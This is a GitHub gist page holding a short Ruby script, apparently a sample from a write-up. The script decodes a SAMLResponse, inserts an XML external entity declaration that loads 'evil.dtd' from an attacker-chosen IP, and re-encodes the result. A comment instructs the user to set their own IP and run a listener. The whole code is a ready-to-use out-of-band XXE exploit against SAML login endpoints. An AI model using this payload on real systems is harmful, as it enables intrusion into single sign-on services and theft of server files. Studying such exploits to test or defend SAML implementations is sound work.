Last active
May 2, 2017 18:54
-
-
Save mrbrutti/b3b9dae40989a654ebdb86733b78446d to your computer and use it in GitHub Desktop.
wr_post_sample_2.rb
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
def saml_inject(text, ip) | |
text.gsub( | |
“<?xml version=\”1.0\” encoding=\”UTF-8\”?>”, | |
“<?xml version=\”1.0\” encoding=\”UTF-8\”?><!DOCTYPE root [ <!ENTITY % remote SYSTEM \”http://#{ip}/evil.dtd\"> %remote;]>” | |
) | |
end | |
def SAML_recode(a) | |
CGI.escape(Base64.encode64(a).strip) | |
end | |
def SAML_decode(a) | |
Base64.decode64(CGI.unescape(a)) | |
end | |
IP=”1.2.3.4:80" # Replace w/ your IP and set a listener | |
SAMLResponse = “INSERT_VALID SAMLResponse” | |
SAML_recode(saml_inject(SAML_decode(SAMLResponse),IP)) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment